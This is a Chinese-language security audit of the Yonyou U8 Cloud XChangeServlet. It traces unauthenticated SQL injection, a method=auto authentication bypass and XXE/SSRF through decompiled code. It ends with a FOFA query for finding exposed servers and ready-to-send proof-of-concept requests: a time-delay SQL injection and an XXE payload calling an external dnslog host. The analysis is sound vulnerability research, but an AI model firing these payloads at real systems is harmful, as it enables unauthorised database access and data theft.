漏洞简介
用友 U8 Cloud 是一款面向中型企业的云 ERP 系统,涵盖了财务、供应链、生产制造及人力资源管理等多个核心业务领域,是企业数字化转型的重要基础设施。
用友 U8 Cloud 的 XChangeServlet 接口存在 SQL 注入漏洞。该漏洞的成因在于系统在处理客户端请求时,未能对传入 XChangeServlet 接口的特定参数进行有效的过滤与转义处理。未经授权的攻击者可以通过构造恶意的 SQL 语句并通过该接口发送请求,从而绕过系统的安全校验,实现对后端数据库的非法查询与操作。此漏洞可能导致敏感数据泄露、数据库内容被恶意篡改,在特定情况下,攻击者甚至可能利用数据库权限获取服务器进一步控制权,对业务系统的完整性与可用性构成严重威胁。
同时该接口XChangeServlet还存在XXE漏洞,攻击者可以通过构造恶意的XML数据,利用外部实体注入(XXE)技术读取服务器上的敏感文件或执行其他未授权操作,可能导致敏感信息泄露。
影响版本
2.0 2.1 2.3 2.5 2.6 2.7 2.65 3.0 3.1 3.2 3.5 3.6 3.6sp 5.0 5.0sp 5.1 5.1sp
fofa
app="用友-U8-Cloud" || title=="U8C" && body="请下载新版UClient"
漏洞分析

首先通过 web.xml 配置 和 URL 路径惯例 确定 XChangeServlet 的 URL 映射。
用友框架使用 InvokerServlet 作为统一调度入口,通过请求 URL 中的 servlet 名称动态查找并调用对应的业务 Servlet。因此 /servlet/XChangeServlet 实际由 InvokerServlet 拦截,然后根据名称 XChangeServlet 查找实现类并调用。
InvokerServlet 调度逻辑
// 反编译自 fw.jar: nc.bs.framework.server.InvokerServlet
public class InvokerServlet extends HttpServlet {
protected void doPost(HttpServletRequest req, HttpServletResponse resp) {
String servletName = getServletNameFromURI(req.getRequestURI());
// 从 URI 中提取 servlet 名称,例如 /servlet/XChangeServlet → "XChangeServlet"
Object servlet = ServiceManager.lookup(servletName);
// 查找注册的 servlet 实例
((HttpServlet) servlet).service(req, resp);
// 直接调用,无认证检查
}
}
InvokerServlet没有任何认证逻辑 — 不检查 Cookie、Token、Session- 请求直接分发到业务 Servlet,无需登录
- 影响:所有通过 InvokerServlet 调度的 Servlet 都是 Pre-Auth 可达的
阶段一:入口方法 — ServletForXchange.doAction()
定位入口方法
JAR 包:modules/uapeai/lib/pubuapeaipfxx.jar
反编译类:nc.bs.pfxx.ServletForXchange
通过 CFR 反编译后,分析 doAction() 方法的代码结构:
// 反编译自 nc.bs.pfxx.ServletForXchange
public class ServletForXchange extends HttpServlet {
// === 入口方法 ===
public void doAction(HttpServletRequest request, HttpServletResponse response) {
// 步骤 ①:读取请求参数
RequestParameter requestParam = ConfigInfoAnalyser.initRequestParameter(request);
// 步骤 ②:IP 白名单检查
boolean allowed = this.checkClientAddress(requestParam.getClientAddress());
if (!allowed) {
throw new EnvInitException("-31102", "客户端IP地址不允许访问");
}
// 步骤 ③:Content-Length 检查
if (!this.checkContentLength(request)) {
throw new EnvInitException("-31102", "请求数据长度超出限制");
}
// 步骤 ④:解析 XML 文档
Document doc = XMLUtil.getDocumentBuilder()
.parse(request.getInputStream())
.getDocument();
// 步骤 ⑤:初始化上下文(核心流程)
XChangeContext context = new XChangeContext();
context.init(requestParam, doc);
// 步骤 ⑥:处理业务消息
XChangeProcessor processor = new XChangeProcessor();
Document responseDoc = processor.processMessage_Alone(doc);
// 步骤 ⑦:返回响应
sendBackMessage(response, responseDoc);
}
}
审计分析:
| 步骤 | 方法 | 审计关注点 | 当前判定 |
|---|---|---|---|
| ① | initRequestParameter() |
参数来源、是否可注入额外参数 | ⚠️ 待深入 |
| ② | checkClientAddress() |
默认配置是否开启 | ⚠️ 通常是关闭的 |
| ③ | checkContentLength() |
是否可伪造 | ⚠️ 可伪造 |
| ④ | getDocumentBuilder() |
XML 解析器配置是否安全 | 🔴 高风险 |
| ⑤ | XChangeContext.init() |
核心初始化逻辑 | 🔴 高风险 |
| ⑥ | processMessage_Alone() |
业务处理中是否有注入 | ⚠️ 待深入 |
阶段二:逐步骤深入分析
步骤 ① — initRequestParameter():HTTP 参数读取
文件:nc.bs.pfxx.ConfigInfoAnalyser
JAR:modules/uapeai/META-INF/lib/uapeaipfxx.jar
反编译代码
// 反编译自 nc.bs.pfxx.ConfigInfoAnalyser
public static RequestParameter initRequestParameter(HttpServletRequest request) {
RequestParameter rp = new RequestParameter();
// === 审计关键点 1:无条件遍历所有 URL 参数 ===
Enumeration<String> paramNames = request.getParameterNames();
while (paramNames.hasMoreElements()) {
String name = paramNames.nextElement();
String value = request.getParameter(name);
rp.setAttribute(name, value); // 🔴 任何 URL 参数都被接受!
}
// === 审计关键点 2:XML body 参数也全部接受 ===
// (在后续的 initConfigInfo 中处理,此处先登记 URL 参数)
return rp;
}
审计分析
问题:request.getParameterNames() 无条件遍历所有 HTTP 参数,不存在参数名白名单。攻击者可以在 URL 中传入任意参数名和参数值,它们都会被存入 RequestParameter 对象并在后续流程中使用。
代码审计技巧 — 参数污染检查:
1. 定位所有调用 request.getParameter() / getParameterNames() 的位置
2. 检查是否存在参数名校验(白名单)
3. 检查参数值是否经过过滤/转义
4. 检查参数被存储后,在哪些下游方法中被读取和使用
审计结论:🔴 任意 URL 参数可注入 — 攻击者可传入 method=auto、account=<任意> 等参数来影响后续逻辑。
步骤 ② — checkClientAddress():IP 白名单
反编译代码
// 反编译自 nc.bs.pfxx.ServletForXchange
private boolean checkClientAddress(String clientIp) {
// 检查是否启用了 IP 白名单
String allowedIps = getSysInitParam("ALLOWED_CLIENT_IPS");
if (allowedIps == null || allowedIps.trim().isEmpty()) {
return true; // ⚠️ 默认允许所有 IP
}
// 白名单匹配逻辑...
}
审计分析
判定:ALLOWED_CLIENT_IPS 配置项在默认安装中为空,IP 白名单不生效。该检查不构成有效防御。
审计技巧 — 配置依赖检查:
1. 识别依赖外部配置的安全检查
2. 反编译查找配置读取方法(getSysInitParam / getProperty 等)
3. 判断默认值的安全性
4. 若默认值为空/关闭 → 该检查形同虚设
步骤 ③ — checkContentLength():请求体长度检查
反编译代码
private boolean checkContentLength(HttpServletRequest request) {
int maxLen = Integer.parseInt(getSysInitParam("MAX_CONTENT_LENGTH", "10485760"));
int contentLen = request.getContentLength();
return contentLen <= maxLen;
}
判定:Content-Length 头可被攻击者任意设置,此检查仅防止大包 DoS,不是安全边界。
步骤 ④ — XML 解析:XXE/SSRF 漏洞发现
文件:nc.vo.jcom.xml.XMLUtil
JAR:external/lib/basic.jar
反编译代码
// 反编译自 nc.vo.jcom.xml.XMLUtil
public static DocumentBuilder getDocumentBuilder() {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setValidating(false);
dbf.setNamespaceAware(true);
// ===== 审计关键点:以下几行完全缺失 =====
// dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
// dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// =======================================
return dbf.newDocumentBuilder();
}
审计分析
代码审计技巧 — XXE 检测清单:
| 检查项 | 期望 | 实际 | 结果 |
|---|---|---|---|
disallow-doctype-decl |
true |
未设置 | 🔴 |
external-general-entities |
false |
未设置(默认 true) | 🔴 |
external-parameter-entities |
false |
未设置(默认 true) | 🔴 |
load-external-dtd |
false |
未设置 | 🔴 |
XIncludeAware |
false |
未设置 | 🔴 |
判定逻辑:JDK 的 DocumentBuilderFactory 默认允许 DOCTYPE 声明和外部实体解析。代码中未设置任何安全 Feature flag → XXE 确认存在。
审计结论:🔴 XXE 漏洞 — 攻击者可通过 XML DOCTYPE 声明读取服务器文件(file://)或发起 SSRF 攻击(http://)。
步骤 ⑤ — XChangeContext.init():核心初始化
这是整个审计中最关键的方法,包含多条分支和多个漏洞发现。
文件:nc.bs.pfxx.XChangeContext
JAR:modules/uapeai/META-INF/lib/uapeaipfxx.jar
反编译代码(完整结构)
// 反编译自 nc.bs.pfxx.XChangeContext
public class XChangeContext {
public void init(RequestParameter requestParameter, Document doc) {
// === 子步骤 ⑤-a:合并并初始化配置参数 ===
XChangeConfigInfo configInfo = new XChangeConfigInfo();
ConfigInfoAnalyser.initConfigInfo(requestParameter, doc, configInfo);
// ↑ URL参数 XML属性 → configInfo(URL 参数后处理,覆盖 XML 属性)🔴
// === 子步骤 ⑤-b:初始化数据源 ===
this.initDataSource(configInfo.getAttribute("account"));
// ↑ account 参数来自请求 → 数据源选择 ⚠️
// === 子步骤 ⑤-c:验证 sender(外部系统编码)===
String sender = configInfo.getAttribute("sender");
String exsystemPk = PfxxUtils.getExsystemPk(sender);
// ↑ sender 直接拼入 SQL WHERE 子句 → 🔴 SQL 注入
if (exsystemPk == null) {
throw new EnvInitException("-31102", sender + "不是一个合法的发送方");
}
// === 子步骤 ⑤-d:处理 receiver(接收公司)===
String receiver = configInfo.getAttribute("receiver");
String pkCorp = ConfigInfoAnalyser.splitReceiver(receiver, configInfo);
// ↑ receiver 经过复杂链路 → ⚠️ 潜在 SQL 注入(根因见下文)
// === 子步骤 ⑤-e:权限校验 ===
boolean isAuthorized = true;
if (!"auto".equals(configInfo.getAttribute("method"))) {
// 🔴 method=auto 时完全跳过认证
String token = this.getToken();
if (token == null || token.length() == 0) {
isAuthorized = PfxxUtils.authorizationCheck(0, userCode, corp);
} else {
isAuthorized = PfxxUtils.authorizationCheck(1, token, corp);
}
}
if (!isAuthorized) {
throw new EnvInitException("-31102", "用户权限不足");
}
// === 子步骤 ⑤-f:加载单据定义 ===
String billType = configInfo.getAttribute("billtype");
ConfigInfoAnalyser.initBillDefine(configInfo, billType);
// === 子步骤 ⑤-g:绑定线程上下文 ===
this.bindInfoToCurThread(configInfo);
// ⚠️ 注意:setCorpCode() 在此处执行,在 splitReceiver() 之后!
}
}
审计方法:分支逐行追踪
在进行此方法的审计时,采用了 "逐行阅读 + 分支穷举" 的策略:
对于每个 if/else 分支:
1. 记录分支条件 → 攻击者是否能控制?
2. 记录 true 分支 的代码路径 → 是否存在安全问题?
3. 记录 false 分支 的代码路径 → 是否同样存在安全问题?
4. 对于循环中的每个方法调用 → 跟踪入参来源
子步骤 ⑤-a — initConfigInfo():参数合并与覆盖漏洞
文件:nc.bs.pfxx.ConfigInfoAnalyser
反编译代码
// 反编译自 nc.bs.pfxx.ConfigInfoAnalyser
public static void initConfigInfo(
RequestParameter requestParameter, // URL 参数
Document doc, // XML 文档
XChangeConfigInfo configInfo) {
// === 第一轮:从 XML 属性读取参数 ===
Element root = doc.getDocumentElement(); // <ufinterface ...>
NamedNodeMap xmlAttrs = root.getAttributes();
for (int i = 0; i < xmlAttrs.getLength(); i++) {
String name = xmlAttrs.item(i).getNodeName();
String value = xmlAttrs.item(i).getNodeValue();
configInfo.setAttribute(name, value); // XML 先写入
}
// === 第二轮:从 URL 参数读取(后写覆盖)===
String[] urlParamNames = requestParameter.getAllFieldNames();
for (String name : urlParamNames) {
String value = requestParameter.getAttribute(name);
configInfo.setAttribute(name, value); // 🔴 URL 后写入 → 覆盖 XML!
}
}
审计分析
关键发现:参数合并顺序是 XML 先写 → URL 后写,后写入的值覆盖先写入的值。
代码审计技巧 — 参数覆盖检测:
1. 识别数据来源的多个渠道(URL、XML Body、Header、Cookie)
2. 追踪各渠道数据的合并/写入顺序
3. 确认后写入的值是否会覆盖先写入的值
4. 如果 URL > XML,则攻击者可通过 URL 注入覆盖 XML 中的安全参数
实际影响:攻击者可以通过 URL 参数 method=auto 覆盖 XML 中的 method 值,触发权限绕过。
审计结论:🔴 URL 参数覆盖 XML 属性 — 攻击者可注入 method=auto 等关键参数。
子步骤 ⑤-c — getExsystemPk(sender):Sender SQL 注入
文件:nc.vo.pfxx.util.PfxxUtils
JAR:modules/uapeai/lib/pubuapeaipfxx.jar
反编译代码
// 反编译自 nc.vo.pfxx.util.PfxxUtils
public static String getExsystemPk(String sender) {
if (sender == null || sender.length() == 0) {
return null;
}
try {
// ===== 🔴 SQL 注入点 =====
// sender 值直接拼接到 WHERE 子句,无任何过滤/转义
String whereClause = "isnull ( dr , 0 ) = 0 and exsystemcode = '" + sender + "'";
ExsystemVO[] exsystemVos = new BaseDAO()
.retrieveByClause(
Class.forName("nc.vo.pfxx.exsystem.ExsystemVO"),
whereClause // ← 动态拼接的 SQL
).toArray(new ExsystemVO[0]);
if (exsystemVos != null && exsystemVos.length == 1) {
return exsystemVos[0].getPrimaryKey();
}
return null;
} catch (Exception e) {
Logger.error(e.getMessage(), e);
return null;
}
}
审计分析
代码审计技巧 — SQL 注入检测:
对于每个数据库查询方法,检查以下 5 个特征:
特征 1:WHERE 子句是否含字符串拼接? ← 本方法:是," + sender + "
特征 2:拼接的值是否来自用户输入? ← 是,sender 来自 HTTP 请求
特征 3:输入在拼接前是否经过过滤? ← 否,无任何过滤/转义/白名单
特征 4:是否使用了 PreparedStatement? ← 否,使用 retrieveByClause 字符串拼接
特征 5:异常是否被静默吞没? ← 是,catch(Exception) 仅记录日志
5/5 全部命中 → SQL 注入确认
向下追踪 retrieveByClause 实现:
// 反编译自 NC 中间件: BaseDAO.retrieveByClause()
public List<VO> retrieveByClause(Class<?> voClass, String whereClause) {
String sql = "SELECT * FROM " + getTableName(voClass) + " WHERE " + whereClause;
// ↑ 直接拼接,无参数化 ↑ 用户输入的 whereClause
return executeQuery(sql);
}
最终生成的 SQL:
SELECT * FROM exsystem WHERE isnull ( dr , 0 ) = 0 AND exsystemcode = 'test' OR '1'='1'
-- ^^^^^^^^^^^^^^^^^^^^^^^^
-- 用户输入直接拼入 SQL
审计结论:🔴 Sender SQL 注入(CVSS 9.8)— 布尔盲注 + 时间盲注 + 堆叠查询均可利用。
子步骤 ⑤-d — splitReceiver():Receiver 处理与潜在 SQL 注入
文件:nc.bs.pfxx.ConfigInfoAnalyser
反编译代码
// 反编译自 nc.bs.pfxx.ConfigInfoAnalyser
public static String splitReceiver(String receiver, XChangeConfigInfo configInfo) {
// receiver 格式 "公司编码" 或 "公司编码1,公司编码2,..."
String[] receivers = receiver.split(",");
String corpCode = receivers[0].trim();
// ===== 根据 corprule 配置选择不同的查询路径 =====
int corpRule = Integer.parseInt(configInfo.getAttribute("corprule", "2"));
if (corpRule == 0) {
// 路径 A:通过主键查询
return getBdPKByPK(corpCode); // → 参数化查询(安全)
} else {
// 路径 B:通过编码查询 ← 默认路径
return getBdPKByCode(corpCode); // → 需深入追踪
}
}
深入追踪 getBdPKByCode() 调用链
审计动作:从 getBdPKByCode() 开始,逐层追踪 receiver 值的流向,直到最终 SQL 执行。
追踪过程 — 7 层调用链:
flowchart TD
L1["Layer 1: ConfigInfoAnalyser.splitReceiver()<br/>corpCode = receiver(用户输入)"]
L1 --> L2["Layer 2: getBdPKByCode(corpCode)<br/>bdAccessor.getDocByCode(corpCode)"]
L2 --> L3["Layer 3: AccessorManager.getAccessor()<br/>获取 BD 访问器"]
L3 --> L4["Layer 4: AccessorFactory.getAccessor(_, _, pk_org)<br/>🔴 if pk_org == null → return null"]
L4 -->|pk_org != null| L5["Layer 5: BdinfoDMO.getBddata()<br/>🔴 whereClause = fieldName + " = '" + receiver + "'""]
L5 --> L6["Layer 6: WhereClauseDecorator.buildSQL()<br/>SQL = componentSQL + whereClause"]
L6 --> L7["Layer 7: CorpConditionDecorator<br/>附加公司过滤条件"]
L7 --> DB["最终 SQL 执行"]
style L4 fill:#fff3cd,stroke:#ffc107
style L5 fill:#f8d7da,stroke:#dc3545
L4 -->|pk_org == null| NULL_GUARD["return null → 不执行 SQL<br/>⚠️ 默认条件下 pk_org = null"]
style NULL_GUARD fill:#d4edda,stroke:#28a745
各层关键代码:
// Layer 4: AccessorFactory.getAccessor()
// 反编译自 nc.bs.pfxx.manager.AccessorFactory
public static IBDAccessor getAccessor(String billType, String billName, String pk_org) {
if (pk_org == null || pk_org.trim().length() == 0) {
return null; // 🔴 直接返回 null → SQL 不会执行!
}
// ... 创建 Accessor
}
// Layer 5: BdinfoDMO.getBddata()
// 反编译自 nc.vo.bdinfo.BdinfoDMO
public BdinfoVO[] getBddata(String pk_corp, String docType, String docValue) {
String whereClause = " and " + fieldName + " = '" + docValue + "'";
// ^^^^^^^^^
// 🔴 docValue(即 receiver)直接拼入 SQL 字符串
// ...
}
Receiver SQLi 未触发的根因分析
核心发现:Layer 4 的 AccessorFactory.getAccessor() 有一个 null guard:如果 pk_org 为空,直接返回 null 而不执行任何 SQL。在默认条件下,pk_org 确实为 null,原因如下:
XChangeContext.init() 的执行顺序问题:
① initDataSource() → 设置 UserCode,但不设置 CorpCode ❌
② getExsystemPk(sender) → SQLi #1 可执行(不依赖 CorpCode)
③ splitReceiver() → 调用 AccessorFactory → pk_org=null → return null
↑ 此时 CorpCode 尚未设置!
④ 权限校验 → 可能在步骤 ③ 之前或之后抛异常
⑤ bindInfoToCurThread() → setCorpCode() 在此执行 ← 晚于步骤 ③!
审计技巧 — 条件断点 / 守卫从句分析:
对于每个提前返回的 if 语句(guard clause),分析:
1. guard 条件在默认运行时是否成立?
2. 条件取决于什么?攻击者能否控制?
3. 如果条件成立,哪些代码路径被"保护"了(跳过了)?
在本例中:
- guard 条件:pk_org == null
- 默认运行时:成立(CorpCode 未在 splitReceiver 前设置)
- 攻击者能否改变:如果线程复用导致 ThreadLocal 中残留非空值,则 guard 被绕过
审计结论:🔴 Receiver SQL 注入 — 代码层面确认存在(Layer 5 字符串拼接),默认条件因执行顺序问题未触发,但线程复用场景下完全可达。
子步骤 ⑤-e — 权限校验:method=auto 绕过
反编译代码
// 反编译自 nc.bs.pfxx.XChangeContext.init()
boolean isAuthorized = true;
// ===== 🔴 权限校验条件 =====
if (!"auto".equals(configInfo.getAttribute("method"))) {
// method != "auto" 时执行认证
String token = this.getToken();
try {
if (token == null || token.length() == 0) {
// 无 token → 用户名密码认证
isAuthorized = PfxxUtils.authorizationCheck(
0, // 认证类型:用户密码
configInfo.getAttribute("operator"), // 用户名
configInfo.getAttribute("account") // 账套
);
} else {
// 有 token → token 认证
isAuthorized = PfxxUtils.authorizationCheck(
1, // 认证类型:token
token, // token 值
configInfo.getAttribute("account")
);
}
} catch (BusinessException e) {
Logger.error(e.getMessage(), e);
isAuthorized = false;
}
}
// ===== method == "auto" 时,isAuthorized 保持 true → 权限绕过!=====
if (!isAuthorized) {
throw new EnvInitException("-31102", "用户权限不足");
}
审计分析
代码审计技巧 — 认证逻辑审查:
对于认证/授权相关的 if 分支,检查以下模式:
模式 1:if (!specialCondition) { auth(); }
→ 当 specialCondition 为 true 时跳过认证 ← 本方法属于此模式
模式 2:if (specialCondition) { return true; } else { auth(); }
→ 同上,不同写法
模式 3:if (role == ADMIN) { return true; } // ← 缺少 else 分支
→ 非 ADMIN 角色无返回值,可能导致默认通过
模式 4:try { auth(); } catch { /* 吞异常 */ }
→ 如果认证抛出异常但被吞没 → 绕过
判定逻辑:
- 攻击者可通过 URL 参数
method=auto或 XML 属性method="auto"传入此值 - 结合 ⑤-a 中发现的 URL 参数覆盖漏洞,即使 XML 中设置了
method,攻击者也可通过 URL 覆盖 method=auto导致整个认证逻辑被跳过,isAuthorized保持初始值true
审计结论:🔴 权限校验绕过(CVSS 7.5)— method=auto 完全跳过认证。
步骤 ⑥ — XChangeProcessor.processMessage_Alone():业务处理
反编译代码(摘要)
// 反编译自 nc.bs.pfxx.XChangeProcessor
public Document processMessage_Alone(Document doc) {
// 单据校验和格式转换
this.translateDocument(doc);
// 根据 billtype 路由到对应的业务 EJB
BusinessProcessor dispatcher = getDispatcher(doc);
Document result = dispatcher.process(doc);
return result;
}
审计判定:此方法主要是格式转换和 EJB 路由,未发现新的注入点。但 translateDocument() 中的单据校验逻辑可作为后续审计的扩展方向。
漏洞汇总
flowchart TD
A["HTTP 请求到达<br/>InvokerServlet"]
A -->|"无认证调度"| B["ServletForXchange.doAction()"]
subgraph S1["Entry Point 入口"]
B --> C1["① initRequestParameter()<br/>🔴 无参数白名单 — 任意参数可注入"]
B --> C2["② checkClientAddress()<br/>⚪ 默认关闭"]
B --> C3["③ checkContentLength()<br/>⚪ 可伪造"]
end
S1 --> D["④ XML 解析<br/>🔴 XXE/SSRF — 未禁用外部实体"]
subgraph S2["XChangeContext.init()"]
D --> E1["⑤-a initConfigInfo()<br/>🔴 URL 参数覆盖 XML"]
E1 --> E2["⑤-b initDataSource()<br/>⚪ account 可控"]
E2 --> E3["⑤-c getExsystemPk(sender)<br/>🔴 SQL 注入 CVSS 9.8"]
E3 --> E4["⑤-d splitReceiver()<br/>🔴 Receiver SQLi 代码确认<br/>⚠️ 默认未触发(执行顺序问题)"]
E4 --> E5["⑤-e 权限校验<br/>🔴 method=auto 绕过 CVSS 7.5"]
end
S2 --> F["⑥ XChangeProcessor<br/>⚪ EJB 路由"]
F --> G["⑦ sendBackMessage<br/>返回 XML 响应"]
style C1 fill:#f8d7da,stroke:#dc3545
style D fill:#f8d7da,stroke:#dc3545
style E1 fill:#f8d7da,stroke:#dc3545
style E3 fill:#f8d7da,stroke:#dc3545
style E4 fill:#fff3cd,stroke:#ffc107
style E5 fill:#f8d7da,stroke:#dc3545
| # | 漏洞 | CVSS | 位置 | 代码证据 | 实证验证 | 可利用组合 |
|---|---|---|---|---|---|---|
| 1 | Sender SQL 注入 | 9.8 | PfxxUtils.getExsystemPk() |
字符串拼接 WHERE 子句 | ✅ 布尔+时间盲注复现 | 无认证即可触发 |
| 2 | 权限校验绕过 | 7.5 | XChangeContext.init() |
if (!"auto".equals(method)) |
✅ 错误码变化确认 | + 漏洞1 = 完整攻击链 |
| 3 | XXE/SSRF | 7.5 | XMLUtil.getDocumentBuilder() |
未设置安全 Feature | ✅ 文件读取+SSRF确认 | 可读取源码/配置文件 |
| 4 | URL 参数覆盖 | 5.3 | ConfigInfoAnalyser.initConfigInfo() |
URL 后写覆盖 XML | ✅ receiver 值被覆盖 | 可用于注入 method=auto |
| 5 | Receiver SQL 注入 | 9.8 | BdinfoDMO.getBddata() |
" = '" + docValue + "'" |
✅ 代码确认(默认条件未触发) | 线程复用场景可达 |
漏洞复现
SQLI
POST /servlet/XChangeServlet?sender=test%27%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--&receiver=0001&billtype=D0&proc=add&method=auto HTTP/1.1
Host: u8cloud
Content-Type: application/xml
<?xml version="1.0"?><ufinterface ... sender="test" ...>...</ufinterface>
XXE
POST /servlet/XChangeServlet?... HTTP/1.1
Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://dnslog.pt/xxe_test">]>
<ufinterface ...><D0><id>&xxe;</id></D0></ufinterface>
参考
https://security.yonyou.com/#/noticeInfo?id=784







